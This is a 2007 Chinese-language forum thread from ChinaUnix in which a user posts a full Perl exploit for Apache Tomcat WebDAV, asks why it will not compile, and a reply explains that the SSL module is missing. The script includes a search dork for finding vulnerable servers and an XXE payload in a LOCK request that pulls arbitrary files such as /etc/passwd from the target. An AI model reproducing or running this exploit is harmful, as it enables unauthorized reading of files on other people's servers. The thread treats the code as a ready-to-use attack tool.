免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3380 | 回复: 2
打印 上一主题 下一主题

脚本编译失败,请教! [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-10-28 21:50 |只看该作者 |倒序浏览
  1. #!/usr/bin/perl
  2. #================================================================
  3. # Apache Tomcat Remote File Disclosure Zeroday Xploit - With support for SSL
  4. # MoDiFiEd version by  : h3rcul3s
  5. # ORiGiNaL Version by  : kcdarookie aka eliteb0y / 2007  [url]http://milw0rm.org/exploits/4530[/url]
  6. # MoDiFiCaTiOn               : This code is useble against targets over SSL
  7. # Prerequisites        : A valid login credentials, webdav
  8. # DoRk                 : intitle:"Directory Listing For /" + inurl:webdav tomcat
  9. # Potential targets    : similar to [url]https://www.somehost.com:8443[/url]
  10. #================================================================
  11. # THaNkS To eliteb0y, the whole team AnD "perlmonks".
  12. # This piece of code is written ONLY for educational purpose.
  13. # Use it at your own risk.
  14. # No author will be responsible for any damage.
  15. #================================================================
  16. # -------------------------[C O D E]-----------------------------
  17. #================================================================
  18. use LWP::Protocol::https;
  19. use IO::Socket;
  20. use MIME::Base64; ### FIXME! Maybe support other auths too ?

  21. # SET REMOTE PORT HERE--------------------------------------------
  22. $remoteport = 8443;

  23. sub usage {
  24.        print "\nApache Tomcat Remote File Disclosure Zeroday Xploit\n";
  25.        print "\n\n";
  26.        print "Basic exploit by      : kcdarookie aka eliteb0y / 2007\n";
  27.        print "SSL Support added by  : .o0|h 3 r c u l 3 s|0o. \n";
  28.        print "\n\n";
  29.        print "USAGE  :\nperl  TOMCATXPL-SSL <remotehost> <webdav file> <file to retrieve> [username] [password] [https]\n";
  30.        print "\nExample:\nperl TOMCATXPL-SSL [url]www.hostname.com[/url] /webdav /etc/passwd tomcat tomcat https\n\n";exit;
  31.            }

  32. if ($#ARGV < 2) {usage();}

  33. $hostname = $ARGV[0];
  34. $webdavfile = $ARGV[1];
  35. $remotefile = $ARGV[2];
  36. $username = $ARGV[3];
  37. $password = $ARGV[4];

  38. my $sock = LWP::Protocol::https::Socket->new(PeerAddr => $hostname,
  39.                                         PeerPort => $remoteport,
  40.                                              Proto    => 'tcp');
  41. $|=1;

  42. $BasicAuth = encode_base64("$username:$password");

  43. $KRADXmL =
  44. "<?xml version=\"1.0\"?>\n"
  45. ."<!DOCTYPE REMOTE [\n"
  46. ."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
  47. ."]>\n"
  48. ."<D:lockinfo xmlns:D='DAV:'>\n"
  49. ."<D:lockscope><D:exclusive/></D:lockscope>\n"
  50. ."<D:locktype><D:write/></D:locktype>\n"
  51. ."<D:owner>\n"
  52. ."<D:href>\n"
  53. ."<REMOTE>\n"
  54. ."<RemoteX>&RemoteX;</RemoteX>\n"
  55. ."</REMOTE>\n"
  56. ."</D:href>\n"
  57. ."</D:owner>\n"
  58. ."</D:lockinfo>\n";

  59. print "\nApache Tomcat Remote File Disclosure Zeroday Eploit-SSL verssion\n";
  60. print "\n";
  61. print "Launching Remote Exploit over SSL...\n";

  62. $ExploitRequest =
  63. "LOCK $webdavfile HTTP/1.1\r\n"
  64. ."Host: $hostname\r\n";

  65. if ($username ne "") {
  66. $ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
  67. }
  68. $ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

  69. print $sock $ExploitRequest;

  70. while(<$sock>) {
  71.        print;
  72. }
复制代码


在LINUX下和WINDOWS下编译失败,请朋友们帮忙看一下是什么原因?THANKS~~~~
E:\>perl TOMCATXPL-SSL.pl
Can't locate Net/SSL.pm in @INC) at D:/Perl/lib/Net/HTTPS.pm line 18.
Can't locate IO/Socket/SSL.pm in @INC (@INC contains: D:/Perl/site/lib D:/
ib .) at D:/Perl/lib/Net/HTTPS.pm line 22.
Compilation failed in require at D:/Perl/lib/LWP/Protocol/https.pm line 46
Compilation failed in require at TOMCATXPL-SSL.pl line 18.
BEGIN failed--compilation aborted at TOMCATXPL-SSL.pl line 18.
[root@localhost test]# ls -al
总用量 12
drwxr-xr-x    2 root     root         4096 10月 28 10:37 .
drwxr-x---   15 root     root         4096 10月 28 21:56 ..
-rw-r--r--    1 root     root         2920 10月 28 10:14 TOMCATXPL-SSL.pl
[root@localhost test]# perl TOMCATXPL-SSL.pl
Can't locate Net/SSL.pm in @INC) at /usr/lib/perl5/vendor_perl/5.8.0/Net/HTTPS.pm line 15.
Can't locate IO/Socket/SSL.pm in @INC (@INC contains: /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.0 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 .) at /usr/lib/perl5/vendor_perl/5.8.0/Net/HTTPS.pm line 19.
Compilation failed in require at /usr/lib/perl5/vendor_perl/5.8.0/LWP/Protocol/https.pm line 44.
Compilation failed in require at TOMCATXPL-SSL.pl line 18.
BEGIN failed--compilation aborted at TOMCATXPL-SSL.pl line 18.
[root@localhost test]# uname -a
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
[root@localhost test]#

[ 本帖最后由 plbb18 于 2007-10-28 22:20 编辑 ]

TOMCATXPL-SSL.rar

1.36 KB, 下载次数: 42

论坛徽章:
0
2 [报告]
发表于 2007-10-28 23:44 |只看该作者
缺少ssl模块,上cpan去下载吧

论坛徽章:
0
3 [报告]
发表于 2007-10-31 00:30 |只看该作者
THANKS~~~~~
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP